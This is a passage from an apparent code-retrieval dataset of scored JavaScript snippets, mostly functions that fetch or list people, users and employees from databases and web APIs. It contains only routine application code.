console.error('unsuccessful', err))\n }", "title": "" }, { "docid": "cdda5ace0aa73e466ac95c9e2b7b39d7", "score": "0.5956092", "text": "function getPeopleData(){\n return peopleData;\n }", "title": "" }, { "docid": "0090bdfb92ed3dabf00f35fdce6c30da", "score": "0.59329474", "text": "function populateDB() {\n db.run('DELETE FROM person');\n let persons = [];\n var stmt = db.prepare(\"INSERT INTO person (firstname, lastname, avatar, score) VALUES(?,?,?,?)\");\n for(let i = 0 ; i < People.getPersons().length ; i++) {\n person = People.getPerson(i);\n stmt.run(person.firstname, person.lastname, person.avatar, person.score);\n }\n}", "title": "" }, { "docid": "8a9149b448f9dfa1be8b6c57320a0cbd", "score": "0.5905376", "text": "findAll(req, res){\n clientService.findAll().then(data => {\n res.json(data)\n })\n }", "title": "" }, { "docid": "cd8d0840d0e0f981e7f080a868236239", "score": "0.58788514", "text": "list(req, res) {\n return Party\n .findAll()\n .then((parties) => res.status(200).send(parties))\n .catch((error) => res.status(400).send(error.message));\n }", "title": "" }, { "docid": "091844acc6f067d5313ccb3a49352c66", "score": "0.58776104", "text": "async index ({ request, response, view }) {\n \n const persons = await Person.all();\n\n return view.render('person.list',{\n title: 'Lista de pessoas' ,\n persons: persons.toJSON()\n })\n }", "title": "" }, { "docid": "866663bd3ee1d487607125609de451b5", "score": "0.5842451", "text": "function GetPeopleFromServer(db){\n\t\t$.ajax({\n\t\t type: \"GET\",\n\t\t url: 'http://localhost:57385/api/Admin',\n\t\t\t dataType:\"json\",\n\t\t async: false,\n\t\t beforeSend: function(x) {\n\t\t if(x && x.overrideMimeType) {\n\t\t\tx.overrideMimeType(\"application/j-son;charset=UTF-8\");\n\t\t }\n\t\t},\n\t\tsuccess: function(data){\n\t\t //do your stuff with the JSON data\n\t\t$.each(data, function(i, field){\n\t\t\tvar trans = db.transaction([\"people\"],\"readwrite\");\n\t\t\tvar request = trans.objectStore(\"people\").delete(field.id);\n\t\t\taddThePerson(db, field);\n\t\t });\n\t\t}\n\t\t});\n\t\t}", "title": "" }, { "docid": "7eb6fe3a668f5ee31d44ed0cef8355c5", "score": "0.5833597", "text": "async function getPersons() {\n showLoader();\n let response = await fetch('https://headlesscms.cederdorff.com/wp-json/wp/v2/posts?_embed&categories=3');\n let data = await response.json();\n _familyMembers = data;\n appendPersons(_familyMembers);\n showLoader(false);\n}", "title": "" }, { "docid": "d9e0edd54ddbf8ec76ef2f73c17dc2bf", "score": "0.5833551", "text": "getAllUsers(){\n return knex('person');\n }", "title": "" }, { "docid": "57119b548e3f84de4e81d3d7a9ed46ad", "score": "0.58201647", "text": "function employeeAll() {\n\n connection.query(\"SELECT * FROM employee\", function (err, res) {\n if (err) throw err;\n console.table(res);\n start();\n });\n}", "title": "" }, { "docid": "49fa3a44561ecf41be5cb4c52b40e3d9", "score": "0.58120745", "text": "getAllPeople(error, successMessage){ \n var newPerson = new Person()\n newPerson.getAllPeople(function(err){\n error(err)\n \n }, function(success){\n successMessage(success)\n\t \t })\n\t}", "title": "" }, { "docid": "80d77cdb65118ca4ee06f220ac2a6471", "score": "0.5787134", "text": "async findAll(pool) {\n const [rows] = await pool.query('SELECT * FROM users');\n return rows.map(this.createEntity);\n }", "title": "" }, { "docid": "4f6e2e72403cf85f747670c01ea1ad55", "score": "0.5772457", "text": "static getAll(req, res) {\n db.query('SELECT * FROM offices ORDER BY id ASC', (err, foundOffices) => {\n // callback\n if (err) {\n return res.status(400).json({\n status: 400,\n error: err.stack,\n });\n }\n return res.status(200).send({\n status: 200,\n data: foundOffices.rows,\n });\n });\n }", "title": "" }, { "docid": "55128c1f42b7c498c9b6551dda08bf86", "score": "0.5771483", "text": "async list() {\n // handle options\n this.handleOptions();\n // find all\n const promise = this.Service.findAll(this.ctx.query);\n // response\n return this.response('list', promise);\n }", "title": "" }, { "docid": "98e429efaf18275fb2f1346cc6cab139", "score": "0.5758891", "text": "async function iterate() {\n const method = 'POST';\n const body = JSON.stringify(getState());\n const headers = new Headers();\n headers.set('Content-Type', 'application/json');\n\n const res = await fetch('/GameOfLife/Iterate', { method, body, headers });\n setState(await res.json());\n}", "title": "" }, { "docid": "db6e01e06490b67fb8064f909da3f7ee", "score": "0.57493967", "text": "function SendPeople(db) {\n\t\t\t\n\t\tdb.transaction([\"people\"], \"readonly\").objectStore(\"people\").openCursor().onsuccess = function(e) {\n\t\t\tvar cursor = e.target.result;\n\t\t\tif(cursor) {\n\t\t\t\tjQuery.support.cors = true;\n\t\t\t\t\t\tvar person = {\n\t\t\t\t\t\t\tname: cursor.name,\n\t\t\t\t\t\t\temail: cursor.value.email,\n\t\t\t\t\t\t\tid:cursor.value.id,\n\t\t\t\t\t\t\tpic: cursor.value.pic\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t$.ajax({\n\t\t\t\t\t\t\turl: 'http://localhost:57385/api/Admin',\n\t\t\t\t\t\t\ttype: 'POST',\n\t\t\t\t\t\t\tdata: person,\n\t\t\t\t\t\t\tdataType: 'json',\n\t\t\t\t\t\t\tsuccess: function () {\n\t\t\t\t\t\t\t\tconsole.log(\"Success\");\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\terror: function (x, y, z) {\n\t\t\t\t\t\t\t\talert(x + '\\n' + y + '\\n' + z);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t});\n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\tcursor.continue();\n\t\t\t}\n\t\t}\n\t\t}", "title": "" }, { "docid": "a8cb76910d64a7e5f9e64230737f0068", "score": "0.57345325", "text": "function getAll(req, res){\n db.Profile.find({}, function(err, all){\n if(err){return console.log(err)}\n res.json(all);\n })\n}", "title": "" }, { "docid": "9fde37fdcc216794f159ff28fceadeda", "score": "0.5732895", "text": "static getAll(){\n // Send axios get request\n return axios.get(`${uri}/getAll`)\n // Then get the response as 'res' variable\n .then(res => {\n console.log('(Frontend BookDataService) The following is response data:');\n console.log(res.data);\n console.log(\"(Frontend BookDataService) All books in the DB have been retrieved from the server.\");\n // Return response data\n return res.data;\n });\n // Return whatever is gotten from the db\n }", "title": "" }, { "docid": "a17640761d92f95692fd709bce2a860c", "score": "0.57174295", "text": "async getAll() {\n const db = new Database();\n\n try {\n const dataArray = await db.connect().query(`SELECT * FROM users`);\n const users = dataArray.map((x) => new User().constructFromObject(x));\n return users;\n }\n catch (err) {\n throw new HTTPError(503, err, `Service Unavailable.`);\n }\n finally {\n db.close();\n }\n }", "title": "" }, { "docid": "757ae0faf16f202ea3c47ab64ee6df85", "score": "0.56645656", "text": "function refresh_people_list()\n{\n INOUTAPIGetAllUsers(rebuild_user_lists);\n}", "title": "" }, { "docid": "c2be49d0388f3b050a50ac34df8c6346", "score": "0.5661749", "text": "function fetchAllUsers() {\n fetch(API_ROOT + \"users\")\n .then((response) => response.json())\n .then((json) => populateAllUsers(json));\n}", "title": "" }, { "docid": "0d70d0a961e942c0a6855029e69bc31b", "score": "0.5658975", "text": "function GetAll() {\n var item = \"\";\n $(\"#tblList tbody\").html(\"\");\n $.getJSON(\"api/person\", function(data) {\n $.each(data, function(key, value) {\n item += \"<tr>\" +\n \"<td>\" + value.Name + \"</td>\" +\n \"<td>\" + value.LastName + \"</td>\" +\n \"<td>\" + value.twitter + \"</td>\" +\n \"</tr>\";\n });\n $(\"#tblList tbody\").append(item);\n });\n}", "title": "" }, { "docid": "9ab5f1031725e8333037149f9cfc6dc5", "score": "0.5648174", "text": "function findAll(){\n /*return Action.findAndCountAll().then(function(users){\n console.log(JSON.stringify(users.rows));\n //return JSON.stringify(users.rows); \n });*/\n return Action.findAndCountAll(); \n }", "title": "" }, { "docid": "2fa5f75f032f13d60648ca0513bfedbc", "score": "0.5646029", "text": "function fetchAllUsers(){\n fetch(\"http://localhost:3000/users\")\n .then(resp => resp.json())\n .then(usersObj => {\n allUsers = usersObj\n })\n}", "title": "" }, { "docid": "fc2b87f559825859bbc22707ba609b0c", "score": "0.5639616", "text": "async getAll () {\n const allInfo = await this.db.info.toArray()\n return allInfo\n }", "title": "" }, { "docid": "18894d7f2aef6d03f9f4525836caa881", "score": "0.56379426", "text": "retreiveAll(response) {\n var query = this.model.find({});\n query.exec((err, listOfJobs) => {\n response.json(listOfJobs);\n });\n }", "title": "" }, { "docid": "123a5110858a609a0c6fdec7dede9298", "score": "0.5637406", "text": "function allEmployees() {\n connection.query(\"SELECT * FROM employee\", function(err, res) {\n console.table(res)\n start()\n });\n}", "title": "" }, { "docid": "b011b1e6f8c33edd7e44c10289652c60", "score": "0.5636451", "text": "function getAll() {\n return new Promise((resolve, reject) => {\n dbLaliga\n .then((db) => {\n let tx = db.transaction(\"teams\", \"readonly\");\n let store = tx.objectStore(\"teams\");\n console.log(store);\n return store.getAll();\n })\n .then((teams) => {\n resolve(teams)\n })\n })\n}", "title": "" }, { "docid": "59b072fdb8b6bcc64ff2704aef51c65d", "score": "0.5635563", "text": "function getAll(request, response) {\n (async function() {\n const client = new MongoClient(uri, { useUnifiedTopology: true});\n \n try {\n await client.connect();\n\n allData = [];\n\n const database = client.db(db);\n const artifactscollection = database.collection('artifacts');\n const artifactsdata = await artifactscollection.find();\n\n const eventscollection = database.collection('events');\n const eventsdata = await eventscollection.find();\n\n const personscollection = database.collection('persons');\n const personsdata = await personscollection.find();\n\n while(await artifactsdata.hasNext()) {\n const artifact = await artifactsdata.next();\n allData.push(artifact);\n }\n\n while(await eventsdata.hasNext()) {\n const event = await eventsdata.next();\n allData.push(event);\n }\n\n while(await personsdata.hasNext()) {\n const person = await personsdata.next();\n allData.push(person);\n }\n\n response.setHeader('Content-Type', 'application/json');\n response.send(allData);\n \n } catch (err) {\n console.log(err.stack);\n }\n\n await client.close();\n })();\n}", "title": "" }, { "docid": "cda02d53be39717def9db34fb282b4b8", "score": "0.56274664", "text": "viewEmployees() {\n console.log(\"Selecting all employees \\n\");\n return this.connection.query(\"SELECT * FROM employee\")\n }", "title": "" }, { "docid": "0e13d3a4c8366afba77219336320e4c7", "score": "0.56167805", "text": "getPeople () {\n const main = this\n main.setState({ loadingPeople: true })\n\n axios.get(main.state.apiRoot + '/profiles/all')\n .then(function (response) {\n main.setState({\n people: main.generatePeopleList(response.data),\n loadingPeople: false\n })\n })\n .catch(function (error) {\n console.log(error)\n main.setState({ loadingPeople: false })\n })\n }", "title": "" }, { "docid": "390d386c96e2d40d56d0a89fcdffe2ff", "score": "0.56140614", "text": "getAll() {\n return new Promise((resolve, reject) => {\n const tx = this.db.transaction(['requests'], 'readonly')\n const store = tx.objectStore('requests')\n store.getAll().onsuccess = (event) => {\n resolve(event.target.result)\n }\n })\n }", "title": "" }, { "docid": "1219e798df8213a3bc2f954ed54e16ee", "score": "0.56109816", "text": "function loadData(){\n var data = peopleList,\n person;\n $.each(data, function(index, d){\n person = new models.Person();\n person.setDetails(d);\n personManager.addPerson(person);\n });\n }", "title": "" }, { "docid": "4c4f4c000a276c89fc670a5df2791a4d", "score": "0.56098825", "text": "async getPeopleAux() {\n const res = await get_request(`person/basic`);\n if (res.status) {\n const personData = res.data;\n const personList = personData.map((person) => ({\n label: `${person.name} ${person.lastname1} ${person.lastname2} (${person.person_type})`,\n fullName: `${person.name} ${person.lastname1} ${person.lastname2}`,\n value: person.dni,\n }));\n return personList;\n }\n }", "title": "" }, { "docid": "2e9ec38c9d941afed368ad709a79920f", "score": "0.5606798", "text": "function getAllUserInformation(callback) {\n personModel.find(function (err, res) {\n if (err) {\n callback(err);\n } else {\n getFormattedData(res, (err, result) => {\n if (err) {\n callback(err);\n }\n else {\n callback(null, result);\n }\n })\n\n }\n })\n}", "title": "" }, { "docid": "437bf50f8acf139beebab5b768c597e3", "score": "0.56062436", "text": "function getAllUserInformation(callback) {\n personModel.find(function (err, res) {\n if (err) {\n callback(err);\n }\n else {\n callback(null, res);\n }\n })\n}", "title": "" }, { "docid": "802aa5b27d3f6f62e902271265cb55f7", "score": "0.5603684", "text": "function getAll() {\n $.ajax({\n url: 'http://localhost:3030/students',\n type: 'GET',\n contentType: 'application/json',\n datatype: 'json',\n }).done(function(data){\n if (data.length !== 0) {\n generateStudents(data);\n }\n });\n }", "title": "" }, { "docid": "2efb93d508547a39d69a07b7407ac55f", "score": "0.55849236", "text": "function getContacts() {\n fetch(\"http://localhost:3000/contacts\")\n .then(function (response) {\n return response.json();\n })\n .then(function (data) {\n state.contacts = data;\n\n renderContactsList();\n });\n}", "title": "" }, { "docid": "037aba24c8be7a7415494919c557879e", "score": "0.55780244", "text": "function getPersons(db) {\n const sql = 'SELECT * FROM person';\n\n // To create a new Promise, we follow the pattern on the line below:\n return new Promise((resolve, reject) => {\n // `resolve()` and `reject()` represent functions that we can call to inform\n // the Promise Object about its success or failure states. We can consume\n // the error or result from node-postgres's callback pattern very simply:\n db.query(sql, (error, result) => {\n if (error) {\n return reject(error);\n }\n\n resolve(result);\n });\n });\n}", "title": "" }, { "docid": "86a79ef956b69a4fb6d435f0ed2334db", "score": "0.5575136", "text": "function getPeople() {\n\tvar department = cocoon.parameters[\"dn\"];\n\tvar entrymanager = cocoon.getComponent(EntryManager.ROLE);\n\ttry {\n\t\tvar people = AddressbookManager.getPeople(entrymanager, department);\n\t\tcocoon.sendPage(cocoon.parameters[\"screen\"], {people: people, department: department});\n\t} catch (e) {\n\t\tprint(e);\n\t\tthrow(e);\n\t} finally {\n\t\tcocoon.releaseComponent(entrymanager);\n\t}\n}", "title": "" }, { "docid": "c9800c6244afed1f4a45cfaf0cdd6c9c", "score": "0.5573075", "text": "makePerson(e){ //on button click, make a call to the backend to get a Person\n axios.get(callPerson+\"newPerson/\"+e.target.value).then(response=> {\n let person = response.data; //temp value which holds a Person object from the backend\n let setPerson = this.state.person.concat(person); //add the Person to the array of persons held in state, assign it a value\n this.setState({'person': setPerson}); //assign the new state, which now has the added civ, to the total state\n }).catch(error => { //log error as needed\n errorLogger(error);});\n }", "title": "" }, { "docid": "9106d0a8e2c37cf7bc4b6ac15b5c005e", "score": "0.5570715", "text": "async function data() {\n const fetchData = await fetch('./small_data_persons.json');\n let persons = await fetchData.json();\n\n dataObjectArray = persons;\n\n // first time loading of data\n displayPersons(persons);\n}", "title": "" }, { "docid": "019d94bc49a4a8af2f096f7a0b29c989", "score": "0.5566658", "text": "function getAll() {\n EmployeeService.GetAll()\n .then(function (response) {\n //console.log(response);\n\t\t\t\t\t $scope.employees = response.data;\n }, function (response) {\n \tconsole.log('wrong response'); \n console.log(response);\n });\n }", "title": "" }, { "docid": "e5635a2bbf0ee9213315bac000fb7577", "score": "0.5563066", "text": "async function getRentHouseList(params){\n\n const select = \"select * from renthouse order by create_time desc limit 500\"\n const result = await db.all(select)\n return result || []\n}", "title": "" }, { "docid": "d5f4ecd785b75b6f510452ec48af1b9d", "score": "0.55572504", "text": "async fetchUserList () {\n let response = await fetch('https://reqres.in/api/users?page=' + this.page)\n response = await response.json()\n\n // Return the result as List<User>.\n return response.data.map( user => {\n return new UserDTO(user.id, user.email, user.first_name, user.last_name)\n })\n }", "title": "" }, { "docid": "f61bb489b56331da54aa3c4393132a1b", "score": "0.55505234", "text": "async function getOwners() {\n getState(`/api/dynamic?tables=Owners`, () => {}, setLoadingStatus)\n .then(res => {\n res.map((owner) => {owner.name = owner.firstName + \" \" + owner.lastName});\n setOwnerId(res[0].ownerId || '');\n return setOwners(res);\n });\n }", "title": "" }, { "docid": "6c024bdb381827840cd29d1986d903fa", "score": "0.55434537", "text": "async index() {\n let entity = this.ctx.params.entity;\n entity = camelCase(entity, { pascalCase: true });\n const result = await this.ctx.model[entity].findAll();\n this.ctx.body = result;\n }", "title": "" }, { "docid": "d0802e7722a94503bb5e061a5bcdb8d9", "score": "0.55311203", "text": "getUsers(res, context, complete) {\n mysql.pool.query(\"SELECT id, name, email FROM users\", (error, results) => {\n if(error) {\n res.write(JSON.stringify(error));\n res.end();\n } else {\n context.users = results;\n complete();\n }\n });\n }", "title": "" }, { "docid": "e1868b1040c5df9b0f9629464484935e", "score": "0.5528319", "text": "selectAllBookings() {\n return pool.query(\n 'SELECT * FROM bookings ORDER BY id ASC'\n );\n }", "title": "" }, { "docid": "d6a1cbe97ac9fe3d0cf7d5eedcfa5dd9", "score": "0.55266416", "text": "async function getPeople(req, res, next) {\n try {\n console.log(\"Fetching data...\");\n\n const people = req.params.id;\n const response = await fetch(`https://swapi.dev/api/people/${people}`);\n const data = await response.json();\n\n redis.set(people, data.name);\n console.log(await redis.get(people));\n\n res.send(data.name)\n } catch (err) {\n console.error(err);\n res.status(500);\n }\n}", "title": "" }, { "docid": "0e061ded5707fdf1ccb82f38e826e3a6", "score": "0.55203414", "text": "async function getPeople() {\n const response = await fetch( 'https://randomuser.me/api/?results=10' )\n\n return response.json()\n}", "title": "" }, { "docid": "dfaaac275d73e2211ed0e594f768f47d", "score": "0.5507469", "text": "fillDb() {\n\t\tfetch(`${this.jsonUrl}restaurants`)\n\t\t\t.then((response) => response.json())\n\t\t\t.then((json) => {\n\t\t\t\tif (json.length > 0) {\n\t\t\t\t\tconst dbRw = this.getDbRW();\n\t\t\t\t\tjson.forEach(element => {\n\t\t\t\t\t\tdbRw.put(element);\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t});\n\t}", "title": "" }, { "docid": "44446d18cdf30fdf770a969ab81ba36a", "score": "0.54991686", "text": "generateEmployees() {\n API.search()\n .then(res => this.setState({ employees: res.data.results, originalState: res.data.results }))\n }", "title": "" }, { "docid": "44446d18cdf30fdf770a969ab81ba36a", "score": "0.54991686", "text": "generateEmployees() {\n API.search()\n .then(res => this.setState({ employees: res.data.results, originalState: res.data.results }))\n }", "title": "" }, { "docid": "5bc1342fc23896ecf827d5909261b83d", "score": "0.5497809", "text": "function getAllBooks() {\n fetch('/bookapi/getallbooks').then(function (response) {\n return response.json();\n }).then(function (data) {\n books = Array.from(data);\n addBooks();\n })\n }", "title": "" }, { "docid": "938ee32d1727ca520dc243f62e1eaaa9", "score": "0.5493963", "text": "[FETCH_PATIENT_PHONES]({ commit }) {\n let endpoint = `/api/v1/patient-phone/`;\n commit(FETCH_START);\n apiService(endpoint)\n .then(response => {\n commit(SET_PATIENT_PHONES, response);\n commit(FETCH_END);\n })\n .catch(error => {\n console.log(error);\n });\n }", "title": "" }, { "docid": "22a8a4ffb841b1000984074d91750b93", "score": "0.5492255", "text": "list(req, res, query) {\r\n return Promise.all([query,this.models[this.peerModelIdentity].find()])\r\n .spread( ( presentations, datasets) => {\r\n return {\r\n presentations,\r\n datasets,\r\n }\r\n })\r\n }", "title": "" }, { "docid": "964ebd865f87c742301480ec9e120917", "score": "0.54870343", "text": "function serviceGetPersonallyEditableModels(req, resp) {\n\t\tlogger.info(\"<Service> GetPersonallyEditableModels.\");\n\t\tvar reqData = parseRequest(req, ['userId', 'limit', 'offset']);\n\t\t\n\t\twriteHeaders(resp);\n\t\thasPermissionUser(true, req.user, reqData.userId, function(permOk) {\n\t\t\tif (permOk) {\n\t\t\t\tgetPersonallyEditableModels(reqData.userId, reqData.limit, reqData.offset, function (err, objects) {\n\t\t\t\t\tif (err) error(2, resp);\n\t\t\t\t\telse resp.end(JSON.stringify({ writeModels: objects })); \n\t\t\t\t});\n\t\t\t} else {\n\t\t\t\terror(3, resp);\n\t\t\t}\n\t\t});\n\t}", "title": "" }, { "docid": "5c2477243dde694755e8911b8277f0ba", "score": "0.5485448", "text": "function GetPeople() {\n curentPage = this.value;\n let data = JSON.parse(localStorage.getItem(`people/?page=${this.value}`));\n if (data === null) Request(`people/?page=${this.value}`, CreatePeoplesTable);\n else {\n CreatePeoplesTable(data);\n }\n}", "title": "" }, { "docid": "9297494c550bf4b7110530d2e911e264", "score": "0.54814404", "text": "function getAll() {\r\n return new Promise(function(resolve, reject) {\r\n dbPromised\r\n .then(function(db) {\r\n var tx = db.transaction(\"teams\", \"readonly\");\r\n var store = tx.objectStore(\"teams\");\r\n return store.getAll();\r\n })\r\n .then(function(teams) {\r\n resolve(teams);\r\n });\r\n });\r\n }", "title": "" }, { "docid": "0ff9d7d19e4b0c642eb2335a6c630ae3", "score": "0.5481091", "text": "loadParticipantsFromServer() {\n ParticipantDataService.retrieveAllParticipants() //HARDCODED\n .then((response) => {\n this.setState({ participants: response.data });\n });\n }", "title": "" }, { "docid": "b11c3d65558901223b5c006dea452f0d", "score": "0.54799074", "text": "selectAll(aCallback) {\n let burgers = [];\n connection.query(`SELECT * FROM burgers`)\n .then(rows => {\n if (rows != undefined) {\n // map the rows into the array of objects\n burgers = rows.map(r => ({\n \"id\": r.id,\n \"name\": r.name,\n \"isDevoured\": r.isDevoured\n }));\n // Send it back to requestor in completion handler callback\n aCallback(burgers);\n }\n })\n .catch(err => {\n console.log(`error selecting burgers ${err}`);\n });;\n }", "title": "" }, { "docid": "545e14384cf473235d2ac96f3d25e57a", "score": "0.5477848", "text": "getAll() {\n\t\treturn new Promise((resolve, reject) => {\n\t\t\tconst request = this.getDbR().getAll();\n\t\t\trequest.onsuccess = () => {\n\t\t\t\tresolve(request.result);\n\t\t\t};\n\t\t\trequest.onerror = () => {\n\t\t\t\treject('Error getAll');\n\t\t\t};\n\t\t});\n\t}", "title": "" }, { "docid": "07a42cbc44c0af87afdfbbfa78af6c8d", "score": "0.5475834", "text": "findAll(req, res) {\n Task.findAll()\n .then(task => res.send(success(task)))\n .catch(err => console.log(error(err.message)))\n }", "title": "" }, { "docid": "e7a7a7be24ed2d4e1407c90227ae91b1", "score": "0.5467964", "text": "async toList(){\n var client = new Client({\n user: this.database.username,\n host: this.database.hostname,\n database: this.database.databaseName,\n password: this.database.password,\n port: 5432,\n });\n let query = this.generateSelectQuery();\n console.log(query);\n await client.connect()\n var res = await client.query(query.string, query.params);\n await client.end();\n // after we preforema query we need to reset the query state \n \n this.resetQueryState();\n // before returning them we need to save the \"current state\" of them in the db for update changes\n this.initalState(res.rows);\n return res.rows;\n }", "title": "" }, { "docid": "11beae54ccbdf708f9f5f0b49a53a9d0", "score": "0.54665124", "text": "list() {\n return this.db.selectAll();\n }", "title": "" }, { "docid": "de35e38c7657199c5a1687b99f201bbf", "score": "0.54627657", "text": "function getPerson(i){\n return axios.get('https://swapi.co/api/people/' + i)\n}", "title": "" }, { "docid": "4df207a1535045883bad43f091cfa31d", "score": "0.5458332", "text": "function all(params) {\n var deferred = $q.defer();\n\n apiService.all(resource, params)\n .then(function (res) {\n\n var response = res.data.data;\n if (!response.error) {\n\n service.users = response.data;\n deferred.resolve(response.data);\n }\n }, function (error) {\n deferred.reject(error.data);\n });\n\n return deferred.promise;\n }", "title": "" }, { "docid": "65cd78fa61150b92839230ae289ffb07", "score": "0.54564357", "text": "getAll() {\n //call the init() function if dbInstance is missing\n if(this.dbInstance === null){\n this.init()\n }\n\n //use nano/cloudant function to list documents/rows\n let promise = this.dbInstance.list({ include_docs: true });\n return promise;\n }", "title": "" }, { "docid": "bf0b25178b7929a69f0c24c803358c85", "score": "0.54561216", "text": "fetchAll(sectionID) {\n\n apiCall.get(`/sectionUsers/${sectionID}/${this.props.role}`, (err, res, body) => {\n console.log(body);\n let users = [];\n for (let user of body.SectionUsers) {\n users.push({\n id: user.UserID,\n active: user.Active,\n volunteer: user.Volunteer,\n firstName: user.User.FirstName,\n lastName: user.User.LastName,\n email: user.UserLogin.Email,\n status: user.Status,\n sectionUserId: user.SectionUserID,\n volunteerId: user.User.VolunteerPools.length != 0 ? user.User.VolunteerPools[0].VolunteerPoolID : -1\n });\n }\n this.setState({\n users: users,\n creating: false,\n editing: false,\n active: true,\n volunteer: false,\n errors: null\n });\n });\n }", "title": "" }, { "docid": "044180c51f5781c9b420f268fc8e3d4a", "score": "0.54556924", "text": "function viewAllEmployees() {\nconnection.query(\"SELECT * FROM employee\", \n function(err, res) {\n if (err) throw err;\n console.table(res);\n connection.end();\n });\n}", "title": "" }, { "docid": "391a2295a3d14cdf91c208b5bfd05642", "score": "0.5448224", "text": "async index({ request, response, auth }) {\n const user = await auth.getUser()\n const companies = await user.companies().fetch()\n //const companies = await Company.all()\n response.status(200).json({\n message: \"Listado de empresas\",\n data: companies,\n })\n }", "title": "" }, { "docid": "a38551d69cbcb272d4c5c1f7420e8b54", "score": "0.54413265", "text": "function allEmployees() {\n console.log(\"\\nViewing all employees...\\n\");\n connection.query(\n \"SELECT employee.id, first_name AS FIRSTNAME, last_name AS LASTNAME, title AS POSITION, name AS DEPARTMENT, salary as SALARY FROM employee INNER JOIN role ON employee.role_id = role.id INNER JOIN department ON role.department_id = department.id;\", function (err, res) {\n if (err) throw err;\n console.table('ALL EMPLOYEES', res);\n runApp();\n });\n}", "title": "" }, { "docid": "2375a76f2a6eae451f8d614fce81d2fd", "score": "0.5440558", "text": "async allUsers () {\n const users = await User.all()\n\n return users.toJSON()\n }", "title": "" }, { "docid": "f010adfe0f728e91d79610346652b50d", "score": "0.54384017", "text": "async function getAllBooking(req, res) {\n let allData = await BookModel.findAll({});\n\n res.status(200).json(allData);\n}", "title": "" }, { "docid": "e96e9ed31b250ad57df2ba6c234fc426", "score": "0.5435854", "text": "function getAllUsers() {\n return db.execute('Select * from users');\n}", "title": "" }, { "docid": "89b8fe12a419df160eb0ede12b1e7eba", "score": "0.5435738", "text": "getAll() {\r\n //Call getAll method from get.js\r\n return get.getAll(this.db);\r\n }", "title": "" }, { "docid": "dde25747c108f0fea28e5f0a928feda4", "score": "0.5430804", "text": "getAll(req, res) {\n const usersCollection = db.collection('users');\n\n usersCollection.find().toArray((err, results) => {\n return res.status(200).json(results);\n });\n }", "title": "" }, { "docid": "4abd448464255747732cc484850085ca", "score": "0.54305977", "text": "getNewUsers() {\n\t\tif (this.lockFetch) return;\n\t\tthis.lockFetch = true;\n\t\taxios\n\t\t\t.get(`https://reqres.in/api/users?page=${this.state.page}`)\n\t\t\t.then(res => {\n\t\t\t\tif (res.data.data.length !== 0) {\n\t\t\t\t\tthis.lockFetch = false;\n\t\t\t\t\tthis.setState(prevState => {\n\t\t\t\t\t\treturn {\n\t\t\t\t\t\t\tpersons: prevState.persons.concat(res.data.data),\n\t\t\t\t\t\t\tpage: prevState.page + 1,\n\t\t\t\t\t\t\thasMoreData: true\n\t\t\t\t\t\t};\n\t\t\t\t\t});\n\t\t\t\t\tif (\n\t\t\t\t\t\t!(\n\t\t\t\t\t\t\tdocument.getElementById('root').clientHeight >=\n\t\t\t\t\t\t\tdocument.documentElement.clientHeight\n\t\t\t\t\t\t)\n\t\t\t\t\t) {\n\t\t\t\t\t\tthis.getNewUsers();\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tthis.setState(() => {\n\t\t\t\t\t\treturn {\n\t\t\t\t\t\t\thasMoreData: false\n\t\t\t\t\t\t};\n\t\t\t\t\t});\n\t\t\t\t\tif (!this.refTimeOutLockFetch)\n\t\t\t\t\t\tthis.refTimeOutLockFetch = setTimeout(\n\t\t\t\t\t\t\t() => (this.lockFetch = false),\n\t\t\t\t\t\t\t10000\n\t\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t});\n\t}", "title": "" }, { "docid": "de5be8a1d456d21d67bc052da2844a6b", "score": "0.54216576", "text": "getAll(actived) {\n let mongo = new Mongo();\n return mongo.query(COLLECTION, {\n actived: actived\n });\n }", "title": "" }, { "docid": "19645d907f235f95fec851dddd8d5769", "score": "0.54212093", "text": "function getAll() {\n return db('users');\n}", "title": "" }, { "docid": "19645d907f235f95fec851dddd8d5769", "score": "0.54212093", "text": "function getAll() {\n return db('users');\n}", "title": "" }, { "docid": "6be03a52af0c09591d285f51fe4cd046", "score": "0.5414749", "text": "function fetchAllCustomerFromDatabase() {\n\n\t\t\t\tIndexService.fetchAllCustomers()\n\t\t\t\t.then(function(response) {\n\n\t\t\t\t\tfor(i=0;i<response.data.length;i++) {\n\n\t\t\t\t\t\tresponse.data[i]['firstname'] = CommonService.capitalizeFirstLetter(response.data[i]['firstname']);\n\t\t\t\t\t\t\n\t\t\t\t\t\tresponse.data[i]['lastname'] = CommonService.capitalizeFirstLetter(response.data[i]['lastname']);\n\t\t\t\t\t}\n\n\t\t\t\t\t$scope.customers = response.data;\n\t\t\t\t\tconsole.debug('response :', response);\n\t\t\t\t}).catch(function(error) {\n\n\t\t\t\t\tconsole.debug('error :', error);\n\n\t\t\t\t});\n\n\t\t\t}", "title": "" }, { "docid": "cfc28202d5e337b73cd51ca4e3647945", "score": "0.5413413", "text": "static findUserAll(req,res){\n\n User.findAll()\n .then(rows=>{\n // console.log('TEST',rows);\n // res.send(rows)\n res.status(200).json({users : rows})\n })\n .catch(err =>{\n // console.log('TEST',err);\n res.status(500).json({msg:err})\n })\n\n }", "title": "" }, { "docid": "5988fb1729ee328e4d934d8b323880dc", "score": "0.5403675", "text": "async getAllPatients(req, res) {\n const patients = await PatientModel.find();\n res.send(patients);\n }", "title": "" }, { "docid": "944a313a56587a8030fe7c2c86a1bf82", "score": "0.54036707", "text": "getAllUsers(orgId) {\n var users = [];\n return new Promise((resolve, reject) => {\n this.readByColumn('orgId', orgId)\n .then(data => {\n data.entities.forEach(function(entity) {\n var userData = {}\n userData['id'] = entity['id'];\n userData[\"orgId\"] = entity['orgId'];\n userData[\"email\"] = entity['email'];\n userData[\"fName\"] = entity['fName'];\n userData[\"lName\"] = entity['lName'];\n userData[\"picture\"] = entity['picture'];\n users.push(userData);\n }, this);\n resolve(users);\n })\n .catch(err => {\n logger.error('error when accessing all users', err);\n reject(err);\n })\n });\n }", "title": "" }, { "docid": "3266039629daca875ec89445dc2a920c", "score": "0.5398699", "text": "async listCountry() {\n // Define query\n const query = 'SELECT country.id, country.name FROM country ORDER BY country.name'\n\n // Executes the query and return results\n const result = await pool.query(query)\n return result\n }", "title": "" }, { "docid": 